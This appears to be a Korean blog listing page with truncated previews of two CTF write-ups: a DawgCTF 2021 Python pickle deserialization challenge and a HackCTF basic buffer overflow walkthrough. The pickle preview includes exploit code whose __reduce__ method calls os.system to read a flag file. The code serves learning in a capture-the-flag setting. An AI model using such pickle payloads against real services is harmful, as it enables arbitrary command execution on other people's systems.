pwnable 11

[DawgCTF 2021] 내가 푼 문제들 풀이

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro [Pwnable] Jellyspotters python pickle 취약점 기능들 막 보다가 pickle 취약점임을 확인했다. 바로 얼마전에 pickle 문제 풀었었는데, 그때도 load할 때 base64 디코딩을 했었다. 그래서 코드 복붙해서 풀었당. import pickle import base64 import os from pwn import * class Vuln(object): def __reduce__(self): return (os.system, ('cat ~/flag.txt', )) pickle_data = pickle.dumps(Vuln()) data_bytes = pickle_data.encode('ascii'..

CTF/Write UPs 2021.05.10

[HackCTF : Pwnable] Basic_BOF #2 풀이

문제 풀이 환경 : ubuntu 16.04.7 베이직 오버플로우.. 간단한 오버플로우 문제일 것 같다. 문제 환경에 접속하여 일단 실행시켜 보았다. 오.... 당황했지만 IDA로 까보기로 한다. main 함수이다. v5에 sup????을 할당하고 s를 133byte 입력받는다. 그리고 v5를 실행시킨다. sup 함수가 뭘까?? 뭐야.. s를 출력한다. 결론은 v5에 s를 출력하는 함수를 할당하고. fgets 함수에서 s를 13byte 입력받고, v5를 실행시켜 s를 출력한다. 아 참고로 이 s는 main에 있는 s와 다르다. 이 s를 IDA에서 주소값을 확인해서 출력해보면 저런 문자가 저장되어 있다. ebp에서 얼마나 떨어져있냐..를 토대로 메모리 스택은 이런 구조일 것을 예측할 수 있다. s는 128b..

WAR GAME/HackCTF 2020.09.22